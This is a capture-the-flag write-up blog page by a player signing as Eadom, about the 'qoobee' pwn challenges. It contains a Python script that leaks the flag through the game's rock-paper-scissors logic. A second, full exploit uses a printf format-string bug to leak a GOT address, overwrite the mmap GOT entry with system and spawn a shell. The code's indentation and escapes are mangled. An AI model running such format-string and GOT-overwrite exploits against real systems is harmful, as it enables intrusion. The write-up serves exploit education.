io.writeline('paper')
buf = io.read_until('n')
if 'lose' in buf:
log('lose')
modnum = 2
io.writeline('0')
buf = io.read_until('Bye!')
log(buf)
divnum = int(pattern.findall(buf)\[0\])
log('divnum:%d' % divnum)
elif 'paper' in buf:
log('tie')
return '$'
modnum = 1
io.read_until('Select one: ')
io.writeline('1234')
io.read_until('number(0-100)? ')
io.writeline('0')
io.read_until('Your Choice: ')
io.writeline('7')
for i in rightset:
log(i)
log(right_dic\[i\])
io.read_until('Select one:')
io.writeline(right_dic\[i\])
io.writeline('scissor')
io.read_until('number(0-100)?')
io.writeline('0')
buf = io.read_until('n')
divnum = int(pattern.findall(buf)\[0\])
log('divnum:%d' % divnum)
elif 'rock' in buf:
log('win')
return '$'
modnum = 0
io.read_until('Select one: ')
io.writeline('1234')
io.read_until('number(0-100)? ')
io.writeline('0')
io.read_until('Your Choice: ')
io.writeline('7')
for i in rightset:
log(i)
log(right_dic\[i\])
io.read_until('Select one:')
io.writeline(right_dic\[i\])
io.writeline('paper')
io.read_until('number(0-100)?')
io.writeline('0')
buf = io.read_until('n')
divnum = int(pattern.findall(buf)\[0\])
log('divnum:%d' % divnum)
r = divnum*3 + modnum
log ("char is %d,'%c'" % (r,chr(r)))
rightset.append(modnum)
log('out checkround')
return chr(r)
def checkround3():
log('enter checkround')
rst = {}
io.read_until('Select one:')
io.writeline('scissor')
buf = io.read_until('n')
if 'lose' in buf:
log('lose')
modnum = 0
io.writeline('0')
buf = io.read_until('Bye!')
log(buf)
divnum = int(pattern.findall(buf)\[0\])
log('divnum:%d' % divnum)
elif 'scissor' in buf:
log('tie')
return '$'
modnum = 2
io.read_until('Select one: ')
io.writeline('1234')
io.read_until('number(0-100)? ')
io.writeline('0')
io.read_until('Your Choice: ')
io.writeline('7')
for i in rightset:
log(i)
log(right_dic\[i\])
io.read_until('Select one:')
io.writeline(right_dic\[i\])
io.writeline('scissor')
io.read_until('number(0-100)?')
io.writeline('0')
buf = io.read_until('n')
divnum = int(pattern.findall(buf)\[0\])
log('divnum:%d' % divnum)
elif 'paper' in buf:
log('win')
return '$'
modnum = 1
io.read_until('Select one: ')
io.writeline('1234')
io.read_until('number(0-100)? ')
io.writeline('0')
io.read_until('Your Choice: ')
io.writeline('7')
for i in rightset:
log(i)
log(right_dic\[i\])
io.read_until('Select one:')
io.writeline(right_dic\[i\])
io.writeline('paper')
io.read_until('number(0-100)?')
io.writeline('0')
buf = io.read_until('n')
divnum = int(pattern.findall(buf)\[0\])
log('divnum:%d' % divnum)
r = divnum*3 + modnum
log ("char is %d,'%c'" % (r,chr(r)))
rightset.append(modnum)
log('out checkround')
return chr(r)
def forlast2():
global flag
log('last round')
io.read_until('Your Choice: ')
io.writeline('7')
for i in rightset:
log(i)
log(right_dic\[i\])
io.read_until('Select one:')
io.writeline(right_dic\[i\])
c = checkround3()
if c:
flag += c
log('flag:%s' % flag)
def forlast():
global flag
log('last round')
io.read_until('Your Choice: ')
io.writeline('7')
for i in rightset:
log(i)
log(right_dic\[i\])
io.read_until('Select one:')
io.writeline(right_dic\[i\])
c = checkround2()
if c=='$':
forlast2()
elif c:
flag += c
log('flag:%s' % flag)
def round():
global flag
for j in range(32):
log('new round')
io.read_until('Your Choice: ')
io.writeline('7')
for i in rightset:
log(i)
log(right_dic\[i\])
io.read_until('Select one:')
io.writeline(right_dic\[i\])
c = checkround()
if c=='$':
forlast()
elif c:
flag += c
log('flag:%s' % flag)
def checkround():
log('enter checkround')
rst = {}
io.read_until('Select one:')
io.writeline('rock')
buf = io.read_until('n')
if 'lose' in buf:
log('lose')
modnum = 1
io.writeline('0')
buf = io.read_until('Bye!')
log(buf)
divnum = int(pattern.findall(buf)\[0\])
log('divnum:%d' % divnum)
elif 'rock' in buf:
log('tie')
modnum = 0
if len(rightset)==31:
return '$'
io.read_until('Select one: ')
io.writeline('1234')
io.read_until('number(0-100)? ')
io.writeline('0')
io.read_until('Your Choice: ')
io.writeline('7')
for i in rightset:
log(i)
log(right_dic\[i\])
io.read_until('Select one:')
io.writeline(right_dic\[i\])
io.writeline('scissor')
io.read_until('number(0-100)?')
io.writeline('0')
buf = io.read_until('n')
divnum = int(pattern.findall(buf)\[0\])
log('divnum:%d' % divnum)
elif 'scissor' in buf:
log('win')
modnum = 2
if len(rightset)==31:
return '$'
io.read_until('Select one: ')
io.writeline('1234')
io.read_until('number(0-100)? ')
io.writeline('0')
io.read_until('Your Choice: ')
io.writeline('7')
for i in rightset:
log(i)
log(right_dic\[i\])
io.read_until('Select one:')
io.writeline(right_dic\[i\])
io.writeline('paper')
io.read_until('number(0-100)?')
io.writeline('0')
buf = io.read_until('n')
divnum = int(pattern.findall(buf)\[0\])
log('divnum:%d' % divnum)
r = divnum*3 + modnum
log ("char is %d,'%c'" % (r,chr(r)))
rightset.append(modnum)
log('out checkround')
return chr(r)
\# testdiv(modnum)
def p7():
\# io.read_until('Your Choice: ')
\# io.writeline('1')
\# io.read_until('QooBee Name: ')
\# io.writeline('1')
\# io.read_until('QooBee Age: ')
\# io.writeline('1')
\# io.read_until('Description(30 bytes): ')
\# io.writeline('1')
try:
round()
except TIMEOUT:
print flag
\# print 'end'
def main():
reg=re.compile(r'have (d+) donuts')
reg_level=re.compile(r'Exp: d+/(d+)')
time1 = time.time()
\# io = zio('./qoobee4')
io.read_until('Choice:')
io.writeline('1')
io.read_until('Name:')
io.writeline('1')
io.read_until('Age:')
io.writeline('1')
io.read_until('(30 bytes):')
io.writeline('%8888u%8888u%4u%4u%4u%4u%n')
total=0
Level=0
io.read_until('Choice:')
while Level<49:
while total<1000:
io.writeline('3')
r = io.read_until('?')
ind = r.index('Amount')
Amount = int(r\[ind+6:ind+8\])
io.writeline(str(Amount))
total+=Amount
r = io.read_until('Choice:')
if 'Sorry' in r:
total-=Amount
io.writeline('2')
io.read_until('Choice:')
while total>0:
if len(reg\_level.findall(r))>0 and 500 == int(reg\_level.findall(r)\[0\]):
print reg_level.findall(r)
Level=49
break
io.writeline('4')
r = io.read_until('?')
have=int(reg.findall(r)\[0\])
if have>=9:
have = 9
total-=have
io.writeline(str(have))
time2=time.time()
print time2-time1
p7()
f = open('flagset','a')
f.write(flag+' '+time.strftime('%H:%M:%S',time.localtime(time.time()))+'n')
f.close()
print 'thread over with flag:%s' % flag
if \_\_name\_\_ == '\_\_main\_\_':
main()

Qoobee6

利用分析

printf可以对age指定的任意地址写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int \_\_cdecl fun2\_sub_80497A8(int a1, int a2)
{
int v2; // ecx@2
int result; // eax@4
int v4; // \[sp+1Ch\] \[bp-Ch\]@1
v4 = *MK\_FP(\_\_GS__, 20);
if ( a1 )
{
puts("nYour QooBee Dragon Info:");
printf("Name: %sn", a1 + 20);
printf("Age: %dn", *(_DWORD *)(a1 + 32));
printf("Description: ");
printf((const char *)(a1 + 36)); // format string, write \[age dword\]
// nerver patched
printf("Level: %dnMoney: $%dn", *(\_BYTE *)(a1 + 8), *(\_DWORD *)a1);
printf("Donuts: %dn", *(_DWORD *)(a1 + 4));
printf("Exp: %d/%dn", *(_DWORD *)(a1 + 12), a2);
printf("Vit: %d/%dn", *(_DWORD *)(a1 + 16), 0x1F4u);
}
else
{
puts("You need adopt a QooBee Dragon first!");
}
result = *MK\_FP(\_\_GS__, 20) ^ v4;
if ( *MK\_FP(\_\_GS__, 20) != v4 )
\_\_stack\_chk_fail(v2);
return result;
}

读plt获得printf函数的地址 通过给定libc.so偏移获取system地址 将system替换plt的mmap函数

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
'''
printf format string attack
not patched
'''
from libformatstr import *
from zio import *
import struct
io = zio('./qoobee',timeout=8000000,print_write=COLORED(REPR))
\# replaced function
printf\_got\_plt = 0x0804B74C
mmap\_got\_plt = 0x0804B77C
\# in my system
\# printf 0x0004d1f0
\# system 0x00040100
offset\_printf\_system = -0xd0f0
def leak_dword(addr):
io.writeline('1')
io.writeline('1')
io.writeline(str(addr))
io.writeline('%.4s')
io.writeline('2')
io.read_until('Description: ')
plt = io.read(4)
log('addr %08x:%s' % (addr,hex(struct.unpack('<I', plt)\[0\])), color='red')
return plt
def get\_printf\_addr():
rst = struct.unpack('<I',leak\_dword(printf\_got_plt))\[0\]
log('printf_plt:%s' % hex(rst), color='red')
return rst
def set_dword(addr, dword):
if dword == 0:
payload = '%n'
else:
payload = '%0'+str(dword)+'x'+'%1$n'
io.writeline('1')
io.writeline('1')
io.writeline(str(addr))
io.writeline(payload)
io.writeline('2')
if \_\_name\_\_ == '\_\_main\_\_':
io.writeline('-214')
io.writeline('sh')
got_plt = ""
printf\_plt = get\_printf_addr()
system\_addr = printf\_plt + offset\_printf\_system
got\_plt += l32(system\_addr)
log('system\_addr:%s' % hex(system\_addr), color='red')
io.gdb_hint()
i = 0
for c in got_plt:
log('set %02x:%u' % (ord(c),struct.unpack('<B', c)\[0\]), color='red')
set\_dword(mmap\_got_plt+i, struct.unpack('<B', c)\[0\])
i += 1
io.writeline('-214')
io.interact()

Comment and share

  • page 1 of 1
Author's picture

Eadom

NO PWN NO FUN


@Alibaba


Hangzhou